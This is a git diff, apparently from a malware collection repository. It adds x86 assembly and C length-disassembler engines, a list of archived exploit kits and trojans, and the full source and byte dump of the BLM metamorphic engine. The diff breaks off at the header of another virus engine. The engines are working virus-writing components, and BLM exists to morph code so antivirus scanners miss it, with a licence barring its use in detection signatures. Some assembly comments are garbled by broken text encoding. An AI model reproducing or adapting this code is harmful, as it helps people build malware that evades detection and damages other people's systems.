_endpfx_ ;���? - �� ��室+ cmp ecx,5+ jl _lock_+ or bl,B_SEG+ mov byte ptr [edi+05h],al ;seg+_lock_:+ cmp al,0F0h+ jne _rep_+ or bl,B_LOCK+_rep_:+ mov ch,al+ and ch,0FEh+ cmp ch,0F2h+ jne _66_+ or bx,B_REP+ mov byte ptr [edi+06h],al ;rep+_66_:+ cmp al,66h ;���� ᬮ�ਬ, �� 0x66?+ jne _67_+ mov dl,1+ or bl,B_PFX66+_67_:+ cmp al,67h ;����, �� 0x67?+ jnz _nextpfx_ ;� ���, � �饬 ��㣨� ��䨪��+ mov dh,1+ or bl,B_PFX67+ jmp _nextpfx_ ;�த������ ����+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxEND ���� ��䨪ᮢxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+_endpfx_:+_search_jxx_call_jmp_:+ mov ch,al+ and ch,0FEh+ cmp ch,0E8h+ je _jxxok_+ mov ch,al+ and ch,11110000b+ cmp ch,70h+ je _jxxok_+ cmp al,0EBh+ je _jxxok_+ cmp al,0Fh ;����� ��⮨� �� 2-� ����?+ jne _opcode_+ lodsb ;� ��, � ��६ 2-�� ���� ������+ mov cl,80h ;� 㢥��稢��� cl=80h+ or bx,B_OPCODE2+ mov ch,al+ and ch,11110000b+ cmp ch,80h+ jne _opcode_+_jxxok_:+ or bx,B_RELX++;-----------------------------------------------------------------------------------+_opcode_:+ xor ch,ch+ mov byte ptr [edi+09h],al ;save first opcode+ lea ebp,[ebp+ecx+(TableFlags1-_delta_lito_+SizeTbl)];� edi - ���� �㦭�� ⠡���� 䫠���(��-�)+ cmp al,0A0h ;� �����>=0xA0 � �����<=A3,+ jl _01_;jb ;+ cmp al,0A3h+ jg _01_+ test cl,cl+ jne _01_;je ;� dl=dh+ mov dl,dh ;mov dl,dh+;-----------------------------------------------------------------------------------+_01_:+ push eax+ shr eax,1+ mov cl,byte ptr [ebp+eax] ;� cl - 䫠�� �������+ jc _noCF_+ shr cl,4+_noCF_:+ and cl,0Fh+ xor ebp,ebp ;� ebp - �㤥� �࠭����� ����� ᬥ饭��(offset)++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxBEG ࠧ��� MODRMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++ or ecx,ebx+ pop ebx ;bl=opcode+ test cl,B_MODRM ;��������� �� ���� modrm?+ je _endmodrm_ ;���? �� ��室+ lodsb ;al=modrm+ mov byte ptr [edi+10],al ;MODRM+ mov ah,al+;-----------------------------------------------------------------------------------+ shr ah,6 ;ah=mod+;-----------------------------------------------------------------------------------+ test al,38h ;����� ᬮ�ਬ, ࠢ�� �� ���� reg==0?+ jne _03_+ sub bl,0F6h ;� ��, � ᬮ�ਬ �� �����:+ jne _02_ ;ࠢ�� �� �� 0xF6 ��� 0xF7(test)?+ or cl,B_DATA8 ;� ��, � ��⠭�������� �㦭� 䫠�+_02_:+ dec ebx+ jne _03_+ or cl,B_PREFIX6X+;-----------------------------------------------------------------------------------+_03_:+ and al,07h+ xor ebx,ebx ;bl �⢥砥� �� ������⢨� ���� sib+ mov bh,ah ;bh=mod+ cmp dh,1 ;���� �� � ࠧ��ࠥ��� ������� ��䨪� 0x67?+ je _mod00_ ;� ��, � ���᪠������+ cmp al,4 ;���� ���塞,ࠢ�� �� ���� rm==4?+ jne _mod00_+ inc ebx ;� ��, � �������� ���� sib+;-----------------------------------------------------------------------------------+_mod00_:+ test ah,ah ;���� mod==0?+ jne _mod01_+ dec dh ;ᮤ�ন� �� ������� 0x67?+ jne _nop67_ ;���? ���᪠������+ cmp al,6 ;� ��, � rm==6?+ jne _sib_+ inc ebp ;� ��, � ����� ᬥ饭��=2(16 bit)+ inc ebp+_nop67_:+ cmp al,5 ;����, rm==5?+ jne _sib_+ add ebp,4 ;� ��, � ����� �����=4 (32 bit)+ jmp _sib_ ;���� �����+;-----------------------------------------------------------------------------------+_mod01_: ;mod==1?+ dec ah+ jne _mod02_+ inc ebp ;��? ⮣�� ebp=1+ jmp _sib_+;-----------------------------------------------------------------------------------+_mod02_: ;mod==2?+ dec ah+ jne _mod03_+ inc ebp ;ebp=2+ inc ebp+ dec dh ;� ���� ��䨪� 0x67, ���᪠������ �����+ je _sib_+ inc ebp ;� ebp+=2+ inc ebp+ inc ebx+;-----------------------------------------------------------------------------------+_mod03_: ;mod==3?+ dec bl ;� ��, ⮣�� sib'� �筮 ���!+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxEND ࠧ��� MODRMxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxBEG ����祭�� SIBxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+_sib_:+ dec bl ;���� �� ���� sib?+ jne _endmodrm_+ or cx,B_SIB+ lodsb ;� ��, � � al ⥯��� ����� sib(al=sib)+ mov byte ptr [edi+11],al ;SIB+ and al,7 ;�����,+ cmp al,5 ;al==5?+ jne _endmodrm_+ test bh,bh ;� ��, � ᬮ�ਬ, ���� mod==0?+ jne _endmodrm_+ push 4 ;� ��, � ���� 4-���⮢�� ᬥ饭��+ pop ebp+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxEND ����祭�� SIBxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxBEG 䫠��xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+_endmodrm_:+ xor ebx,ebx+ test cl,B_DATA8 ;���� �� �������⮢�� ᬥ饭��?+ je _nf1_+ inc ebx+_nf1_:+ test cl,B_DATA16 ;���� �� ���塠�⮢�� ᬥ饭��?+ je _nf2_+ inc ebx+ inc ebx+_nf2_:+ test cl,B_PREFIX6X ;���� �� � ������� �����।�⢥���� ���祭��?+ je _endflag_+ dec dl ;���� �� 0x66(0x67 ��� [0xA0,0xA3]) � ࠧ��ࠥ��� �������?+ je _okp66_+ inc ebx+ inc ebx+_okp66_:+ inc ebx+ inc ebx+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxEND 䫠��xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+_endflag_:+ push ecx+ push edi+ mov ecx,ebp+ add edi,12+ rep movsb+ sub edi,ebp+ add edi,8+ mov ecx,ebx+ rep movsb+ pop edi+ pop dword ptr [edi+1]+ sub esi,dword ptr [esp+4];eax+ xchg esi,eax+ mov byte ptr [edi+0],al+ mov dword ptr [esp+7*4],eax ;��࠭塞 ࠧ��� � ���+ xchg ebp,eax+ mov byte ptr [edi+7],al+ mov byte ptr [edi+8],bl+ popad+ ret ;��室��:)+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� �㭪樨 _LiTo_ ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+++SizeOfLiTo equ $-_LiTo_ ;ࠧ��� �㭪樨 _LiTo_diff --git a/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.SLDE.a b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.SLDE.anew file mode 100644index 0000000..d37d55f--- /dev/null+++ b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.SLDE.a@@ -0,0 +1,90 @@++ /* yaav */++ /* SLDE 0.1v */+/* This is simple lengh disassembler engine for IA32 x86 instruction set.The code is+Operation System independent. For now it supports only the most used one byte+ opcodes(without few rarely used opcodes)but i will expand it in future :)+ Credits goes to Benny- and Napalm. Thanks guys :) */++#define Prefix 5+#define ModRMy 1+#define ModRMn 0+#define Imm08 8+#define Imm32 32 /*16/32 bit Imm*/+#define ModRM 3 /*Unknown Opcode*/++unsigned char Array[] = "\x67\x66\x81\x05\x11\x11\x00\x00\x11\x11";+unsigned char ModRMTable[] = {+ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /*00..07*/+ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /* 08..0F*/+ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /* 10..17 */+ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /* 18..1F */+ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 20..27 */+ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 28..2F */+ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 30..37 */+ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 38..3F */+ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 40..47 */+ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 48..4F */+ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 50..57 */+ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 58..5F */+ModRMn,ModRMn,ModRMy,ModRMy,Prefix,Prefix,Prefix,Prefix, /* 60..67 */+ModRMn+Imm32,ModRMy+Imm32,ModRMn+Imm08,ModRMy+Imm08,ModRMn,ModRMn,ModRMn,ModRMn, /* 68..6F */+ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* 70..77 */+ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* 78..7F */+ModRMy+Imm08,ModRMy+Imm32,ModRMy+Imm08,ModRMy+Imm08,ModRMy,ModRMy,ModRMy,ModRMy, /* 80..87 */+ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy, /* 88..8F */+ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /*90..97 */+ModRMn,ModRMn,ModRM/*9A Unknown */,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 98..9F */+ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn,ModRMn,ModRMn,ModRMn, /* A0..A7 */+ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* A8..AF */+ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* B0..B7 */+ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32, /* B8..BF */+ModRMy+Imm08,ModRMy+Imm08,ModRM /* RET WORD */,ModRMn,ModRMy,ModRMy,ModRMy+Imm08,ModRMy+Imm32, /* C0..C7 */+ModRM /* C8 Unknown */,ModRMn,ModRM /* RET WORD */,ModRMn,ModRMn,ModRMn+Imm08,ModRMn,ModRMn, /* C8..CF */+ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm08,ModRMn,ModRMn, /* D0..D7 */+ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy, /* D8..DF */+ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* E0..E7 */+ModRMn+Imm32,ModRMn+Imm32,ModRM /*EA Unknown */,ModRMn+Imm08,ModRMn,ModRMn,ModRMn,ModRMn, /* E8..EF */+Prefix,ModRMn,Prefix,Prefix,ModRMn,ModRMn,ModRMy+Imm08,ModRMy+Imm32, /* F0..F7 */+ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMy,ModRMy /* F8..FF */+};++int main()+{++unsigned char *ptr,Mod;+ptr = Array;+int OperandSize = 4,OpcodeSize = 0,Displacement = 4;++DecodePrefixes:++if(ModRMTable[*ptr] == Prefix) {+if (*ptr == 0x66) { OpcodeSize += 1; OperandSize -= 2; } else { OpcodeSize += 1; }+ptr++;+goto DecodePrefixes;+}++OpcodeSize += 1; /* because of the opcode */++if (ModRMTable[*ptr] == Imm08+ModRMy || ModRMTable[*ptr] == Imm08 ) { OpcodeSize += 1; } /*is there a 8 bit Imm */+if (ModRMTable[*ptr] == Imm32+ModRMy || ModRMTable[*ptr] == Imm32 ) { OpcodeSize += OperandSize; } /* is there a 16 or 32 bit imm */+if (ModRMTable[*ptr] == ModRMy || ModRMTable[*ptr] == ModRMy+Imm08 || ModRMTable[*ptr] == ModRMy+Imm32) { /* is there a ModR/M Byte */+ OpcodeSize += 1; ptr++; /*read the ModR/M Byte */ goto DecodeMod; }+ else { printf ("The Opcode Size Is: %d\n",OpcodeSize); return 0; }++ /*Decode ModR/M Byte */+DecodeMod:+Mod = *ptr;+if((Mod >= 0x00 && Mod <= 0x3F) || (Mod >= 0xC0 && Mod <= 0xFF)) { Displacement -= 4; }+if(Mod >= 0x40 && Mod <= 0x7F) { Displacement -= 3; }+OpcodeSize += Displacement;++if((Mod%0x10 == 4) || (Mod%0x10 == 0x0C)) { OpcodeSize += 1;} /* does it have SIB ? */+if(Mod <= 0x3D) { if((Mod%0x10 == 0x05) || (Mod%0x10 == 0x0D)){ OpcodeSize += 4; } }/* is it direct addresation? */+++printf ("The Opcode Size Is: %d\n",OpcodeSize);++ return 0;+}diff --git a/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Xde.7z b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Xde.7znew file mode 100644index 0000000..d54f0b9Binary files /dev/null and b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.Xde.7z differdiff --git a/Malwares/Win32/ExploitKit/ExploitKit.0x88.7z b/Malwares/Win32/ExploitKit/ExploitKit.0x88.7znew file mode 100644index 0000000..a47abefBinary files /dev/null and b/Malwares/Win32/ExploitKit/ExploitKit.0x88.7z differdiff --git a/Malwares/Win32/ExploitKit/ExploitKit.Blackhole.A.7z b/Malwares/Win32/ExploitKit/ExploitKit.Blackhole.A.7znew file mode 100644index 0000000..a7c8fe1Binary files /dev/null and b/Malwares/Win32/ExploitKit/ExploitKit.Blackhole.A.7z differdiff --git a/Malwares/Win32/ExploitKit/ExploitKit.Blackhole.B.7z b/Malwares/Win32/ExploitKit/ExploitKit.Blackhole.B.7znew file mode 100644index 0000000..f103b5aBinary files /dev/null and b/Malwares/Win32/ExploitKit/ExploitKit.Blackhole.B.7z differdiff --git a/Malwares/Win32/ExploitKit/ExploitKit.BleedingLife.B.7z b/Malwares/Win32/ExploitKit/ExploitKit.BleedingLife.B.7znew file mode 100644index 0000000..fe56f86Binary files /dev/null and b/Malwares/Win32/ExploitKit/ExploitKit.BleedingLife.B.7z differdiff --git a/Malwares/Win32/ExploitKit/ExploitKit.CrimePack.3.1.3.7z b/Malwares/Win32/ExploitKit/ExploitKit.CrimePack.3.1.3.7znew file mode 100644index 0000000..c0dca48Binary files /dev/null and b/Malwares/Win32/ExploitKit/ExploitKit.CrimePack.3.1.3.7z differdiff --git a/Malwares/Win32/ExploitKit/ExploitKit.DemonHunter.7z b/Malwares/Win32/ExploitKit/ExploitKit.DemonHunter.7znew file mode 100644index 0000000..4e9484dBinary files /dev/null and b/Malwares/Win32/ExploitKit/ExploitKit.DemonHunter.7z differdiff --git a/Malwares/Win32/ExploitKit/ExploitKit.Eleonore.1.4.4.7z b/Malwares/Win32/ExploitKit/ExploitKit.Eleonore.1.4.4.7znew file mode 100644index 0000000..96675d9Binary files /dev/null and b/Malwares/Win32/ExploitKit/ExploitKit.Eleonore.1.4.4.7z differdiff --git a/Malwares/Win32/ExploitKit/README.md b/Malwares/Win32/ExploitKit/README.mdnew file mode 100644index 0000000..2291a48--- /dev/null+++ b/Malwares/Win32/ExploitKit/README.md@@ -0,0 +1,3 @@++# Win32 ExploitKit+ diff --git a/Malwares/Win32/README.md b/Malwares/Win32/README.mdnew file mode 100644index 0000000..924feb0--- /dev/null+++ b/Malwares/Win32/README.md@@ -0,0 +1,13 @@+# Win32 Malware+++ The Windows API (WinAPI);+ is Microsoft's core set of application programming interfaces available in the Microsoft Windows operating systems.+ The name Windows API collectively refers to several different platform implementations that are often referred to by their own names.+ It allows user-written programs to interact with Windows, for example to display things on screen and get input from mouse and keyboard.+ All Windows programs except console programs must interact with the Windows API regardless of the language.+ Win32.exe is located in the C:\Windows\System32 folder.+ A Win32 error is a standard computer error that occurs mainly on computers using Windows versions 95, 98 and 2000 and often during Internet usage.+ When your computer gets a Win32 error, the application that the error occurred in ceases to work and you are unable to use the function on your computer.++<img src="ms-win.gif" height="500" width="1750" >diff --git a/Malwares/Win32/Trojan-Banker.Win32.Dexter.7z b/Malwares/Win32/Trojan-Banker.Win32.Dexter.7znew file mode 100644index 0000000..0986676Binary files /dev/null and b/Malwares/Win32/Trojan-Banker.Win32.Dexter.7z differdiff --git a/Malwares/Win32/Unknown.DarkRadiation.7z b/Malwares/Win32/Unknown.DarkRadiation.7znew file mode 100644index 0000000..360060aBinary files /dev/null and b/Malwares/Win32/Unknown.DarkRadiation.7z differdiff --git a/Malwares/Win32/Unknown.EB0LA.7z b/Malwares/Win32/Unknown.EB0LA.7znew file mode 100644index 0000000..12582ccBinary files /dev/null and b/Malwares/Win32/Unknown.EB0LA.7z differdiff --git a/Malwares/Win32/VirTool.Win32.Nmpe.7z b/Malwares/Win32/VirTool.Win32.Nmpe.7znew file mode 100644index 0000000..3d313d7Binary files /dev/null and b/Malwares/Win32/VirTool.Win32.Nmpe.7z differdiff --git a/Malwares/Win32/VirTool.Win32.Poly.Prcg.7z b/Malwares/Win32/VirTool.Win32.Poly.Prcg.7znew file mode 100644index 0000000..9366770Binary files /dev/null and b/Malwares/Win32/VirTool.Win32.Poly.Prcg.7z differdiff --git a/Malwares/Win32/VirTool.Win32.ProcessHide.7z b/Malwares/Win32/VirTool.Win32.ProcessHide.7znew file mode 100644index 0000000..5115b06Binary files /dev/null and b/Malwares/Win32/VirTool.Win32.ProcessHide.7z differdiff --git a/Malwares/Win32/VirTool.Win32.Tunnel.7z b/Malwares/Win32/VirTool.Win32.Tunnel.7znew file mode 100644index 0000000..e5d9d2eBinary files /dev/null and b/Malwares/Win32/VirTool.Win32.Tunnel.7z differdiff --git a/Malwares/Win32/Virus.Win32.Blm.asm b/Malwares/Win32/Virus.Win32.Blm.asmnew file mode 100644index 0000000..5cab37c--- /dev/null+++ b/Malwares/Win32/Virus.Win32.Blm.asm@@ -0,0 +1,325 @@+; BLM ~ BlueOwls Light Meta+; *************************+;+; Details+;+; Name: BLM (BlueOwls Light Meta)+; Date: 16 May 2005+; Size: 412 bytes+; Morphing power: light+; Morphing type: non-expansion+; Compatibility: most common x86 and pentium specific (rdtsc/movzx/..)+; Platforms: all 32bit (and maybe 16bit) x86 instruction set OSes+; Used compiler: FASM 1.60+; Bugs: hopefully none+;+; Morphing+;+; The following instructions can be morphed:+;+; 1. OP reg, reg -> changing the D bit (2)+; 2. OP (reg,) [(imm32+)reg] -> changing the unused SCALE bits (4)+; 3. OP (reg,) [(imm32+)reg+reg*1] -> swapping the regs (2)+;+; Any other instruction's size is calculated and skipped.+;+; Usage notes+;+; BLM can be usefull for any application which would like to do code+; morphing on its own, or other code. There are however, some things+; to keep note on:+;+; - Make sure you don't mix data with code, for example:+; > CALL _LABEL+; > DB "some string",0+; > _LABEL:+; Would make the meta miscorrectly assume "some string",0 to be+; code. So make sure that in the codearea you specify is no data.+; - On input, esi is allowed to equal edi, but it is not recommended+; if it will cause the meta to morph itself on runtime.+; - This code does not need any data, and only needs to be able to+; execute. It is completely permutatable.+;+; Agreement+;+; This sourcecode is meant to be used in freeware and shareware+; programs, and therefor it is strictly prohibited to add any of this+; code in binary or source format in scan strings or other detection+; methods. If done, it will impact on the sellability of the product,+; and can result in high fees and/or trials before court.+; YOU HAVE BEEN WARNED++use32++; ������������� META SOURCE ���������������������������������������������++; in: esi(ecx) = start of code to morph+; edi(ecx) = start of buffer to put morphed code in+; ecx = size of code to morph (and buffer)+; out: esi = esi + ecx+; edi = edi + ecx+; other registers are destroyed (except esp)++BLM: cld+ lea ebx, [esi+ecx] ; ebx = ptr to end of code to morph+nextcode: push ebx+ xor ecx, ecx+ push 4+ pop ebx+ call .innext+ pop ebx+ rol edx, 7 ; simple RAND function+ neg dx+ cmp ebx, esi+ ja nextcode+ ret++.next: movsb+.innext: mov al, [esi]+ and al, 11100111b+ cmp al, 00100110b ; es/cs/ss/ds segment?+ jz .next ; check if more+ mov al, [esi]+ and al, 11111110b+ cmp al, 01100100b ; fs/gs segment?+ jz .next ; check if more+ cmp al, 11110010b ; repz/repnz?+ jz .next ; check if more+ cmp al, 01100110b ; WORD?+ jnz opcode+ mov bl, 2 ; set WORD size+ jmp .next++; -----------------------------------------------------------------------++opcode: mov al, [esi]+ cmp al, 0fh+ jnz branch_start+ movsb+ or al, [esi] ; ????1111+ cmp al, 10001111b+ jz .6byte ; -> jxx label32+ cmp al, 10111111b+ jz .3byte ; -> movzx/bt?+ jmp .done+.6byte: movsb+ movsb+ movsb+.3byte: movsb+.done: movsb+ ret+branch_start: shl al, 1+ jc branch_1xxxxxxx+branch_0xxxxxxx:shl al, 1+ jc branch_01xxxxxx+branch_00xxxxxx:shl al, 4+ jnc op_rmrm_d+op_eax: mov al, [esi]+ shr al, 1+ jc .pr32+ movsb+ movsb+ ret ; -> op al, imm8+.pr32: add ecx, ebx ; -> op eax, imm32+ rep movsb+ movsb+ ret+branch_01xxxxxx:cmp al, 11000000b+ jb .ncjump+ movsb ; -> jxx label8+.ncjump: cmp al, 068h+ jz do_5byte ; -> push imm32+ cmp al, 06ah+ jnz .done ; -> popad/pushad/pop/push/dec/inc (reg)+ stosb ; -> push imm8+.done: movsb+ ret++op_rmrm_d: mov al, [esi+1] ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,r/m+ rcr edx, 1 ; rand true/false+ jc .nomorph+ cmp al, 11000000b+.nomorph: jb op_rm ; (jc == jb so little optimization)+ lodsb+ xor al, 00000010b+ stosb+ lodsb+ and eax, 00111111b ; 00000000 00regreg+ shl eax, 5 ; 00000reg reg00000+ shr al, 2 ; 00000reg 00reg000+ or al, ah ; 00000xxx 00regreg+ or al, 11000000b ; 11regreg+ stosb+ ret++branch_1xxxxxxx:shl al, 1+ jc branch_11xxxxxx+branch_10xxxxxx:shl al, 1+ jc branch_101xxxxx+branch_100xxxxx:shl al, 1+ jc branch_01xxxxxx.ncjump ; -> xchg eax,reg/cwde/cdq/pushf/popf/sahf/lahf+branch_1000xxxx:cmp al, 01000000b+ jae op_rm ; -> test/xchg/mov/lea/pop r/m(,r/m)+ shl al, 3+ jc op_rmimm8 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm8+ jmp op_rmimm32 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm32+branch_101xxxxx:shl al, 1+ jc branch_1011xxxx+branch_1010xxxx:and al, 11100000b+ cmp al, 00100000b+ jb op_eax ; -> test eax, imm+ cmp al, 10000000b+ jz do_5byte ; -> mov mem32, eax+ movsb+ ret ; -> movs/stos/lods/scas+branch_1011xxxx:shl al, 1+ jnc branch_1100001x.2byte ; -> mov reg, imm8+ jmp op_eax.pr32 ; -> mov reg, imm32+do_5byte: movsd+ movsb+ ret+branch_11xxxxxx:shl al, 1+ jc branch_111xxxxx+branch_110xxxxx:shl al, 1+ jc branch_1101xxxx+branch_1100xxxx:cmp al, 11010000b+ jz branch_1100001x.2byte ; -> int imm8+ shl al, 1+ jc branch_1100001x.done ; -> leave/int 3+branch_11000xxx:shl al, 1+ jc op_rm_w ; -> mov r/m, imm+branch_110000xx:shl al, 1+ jc branch_1100001x+ inc ecx ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1+ jmp op_rm+branch_1100001x:shl al, 1+ jc .done+.3byte: movsb+.2byte: movsb ; -> ret imm16+.done: movsb+ ret ; -> ret+branch_1101xxxx:shl al, 2+ jc branch_1100001x.done ; -> xlatb+branch_1101x0xx:jmp op_rm ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1++branch_111xxxxx:shl al, 1+ jc branch_1111xxxx+branch_1110xxxx:shl al, 1+ jnc branch_11101010 ; -> loop label+branch_11101xxx:cmp al, 00100000b+ jz branch_111010x0.done ; -> call label+branch_111010x0:shl al, 2+ jc branch_11101010+.done: movsd ; -> jmp label32+ movsb+ ret+branch_11101010:movsb+ movsb+ ret ; -> jmp label8+branch_1111xxxx:shl al, 1+ jc branch_11111xxx+branch_11110xxx:shl al, 2+ jnc branch_11111xxx.done ; -> cmc+branch_11111x1x:mov al, [esi+1] ; al = modr/m+ and al, 00111000b+ jnz op_rm ; -> not/mul/div/idiv+ jmp op_rm_w ; -> test+branch_11111xxx:shl al, 1+ jc .done ; -> clc/stc/cli+ shr al, 1+ jc op_rm ; -> inc/dec/call/jmp/push+.done: movsb+ ret ; -> cld/std++; -----------------------------------------------------------------------++op_rm_w: mov al, [esi]+ shr al, 1+ jnc op_rmimm8+op_rmimm32: add ecx, ebx ; imm length will be 4 or 2+ dec ecx+op_rmimm8: inc ecx ; imm length = 1 byte+op_rm: movsb+ lodsb+ stosb+ cmp al, 11000000b ; op reg, reg+ jae .done+ mov ah, al+ and al, 111b+ shr ah, 6+ jz .regaddr+ cmp ah, 00000001b+ jz .ddone+ add ecx, 3 ; op reg, [reg+dword]+.ddone: inc ecx ; op reg, [reg+byte]+.cmpsib: cmp al, 00000100b+ jnz .done+ xor ebx, ebx+ mov eax, ebx+ lodsb ; 00000000 iiregreg+ shl eax, 2 ; 000000ii regreg00+ xchg bl, ah ; 00000000 regreg00+ shl eax, 3 ; 00000reg reg00000+ shr al, 5 ; 00000reg 00000reg+ cmp ah, 4+ jz .randindex+ cmp al, 4+ jz .nosib+ or bl, bl ; index = 1?+ jnz .nosib+ rcr edx, 1+ jnc .nosib ; randomly abort switch+ xchg al, ah+ jmp .nosib+.randindex: mov bl, dl ; index is random+ and bl, 00000011b+.nosib: shl al, 5 ; 00000reg reg00000+ shr eax, 3 ; 00000000 regreg00+ mov ah, bl ; 000000ii regreg00+ shr eax, 2 ; 00000000 iiregreg+ stosb+.done: rep movsb+ ret+.regaddr: cmp al, 00000101b ; op reg, [dword]+ jnz .cmpsib+ movsd+ jmp .done++; ������������� META BINARY ���������������������������������������������++; in: esi(ecx) = start of code to morph+; edi(ecx) = start of buffer to put morphed code in+; ecx = size of code to morph (and buffer)+; out: esi = esi + ecx+; edi = edi + ecx+; other registers are destroyed (except esp)++BLM: db 252,141,28,14,83,49,201,106,4,91,232,13,0,0,0,91+ db 193,194,7,102,247,218,57,243,119,234,195,164,138,6,36,231+ db 60,38,116,247,138,6,36,254,60,100,116,239,60,242,116,235+ db 60,102,117,4,179,2,235,227,138,6,60,15,117,19,164,10+ db 6,60,143,116,6,60,191,116,5,235,4,164,164,164,164,164+ db 195,208,224,114,75,208,224,114,20,192,224,4,115,31,138,6+ db 208,232,114,3,164,164,195,1,217,243,164,164,195,60,192,114+ db 1,164,60,104,116,95,60,106,117,1,170,164,195,138,70,1+ db 209,218,114,2,60,192,15,130,179,0,0,0,172,52,2,170+ db 172,131,224,63,193,224,5,192,232,2,8,224,12,192,170,195+ db 208,224,114,52,208,224,114,23,208,224,114,198,60,64,15,131+ db 139,0,0,0,192,224,3,15,130,129,0,0,0,235,124,208+ db 224,114,12,36,224,60,32,114,149,60,128,116,8,164,195,208+ db 224,115,37,235,146,165,164,195,208,224,114,38,208,224,114,27+ db 60,208,116,20,208,224,114,17,208,224,114,73,208,224,114,3+ db 65,235,76,208,224,114,2,164,164,164,195,192,224,2,114,249+ db 235,61,208,224,114,19,208,224,115,12,60,32,116,5,192,224+ db 2,114,3,165,164,195,164,164,195,208,224,114,14,192,224,2+ db 115,17,138,70,1,36,56,117,22,235,10,208,224,114,4,208+ db 232,114,12,164,195,138,6,208,232,115,3,1,217,73,65,164+ db 172,170,60,192,115,76,136,196,36,7,192,236,6,116,70,128+ db 252,1,116,3,131,193,3,65,60,4,117,54,49,219,137,216+ db 172,193,224,2,134,220,193,224,3,192,232,5,128,252,4,116+ db 16,60,4,116,17,8,219,117,13,209,218,115,9,134,196,235+ db 5,136,211,128,227,3,192,224,5,193,232,3,136,220,193,232+ db 2,170,243,164,195,60,5,117,191,165,235,246++; �����������������������������������������������������������������������+diff --git a/Malwares/Win32/Virus.Win32.Chaos.ASM b/Malwares/Win32/Virus.Win32.Chaos.ASMnew file mode 100644index 0000000..7f68c85--- /dev/null+++ b/Malwares/Win32/Virus.Win32.Chaos.ASM@@ -0,0 +1,862 @@+ radix 16++;*****************************************+;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *+;*****************************************+;1995 - Sepultura - 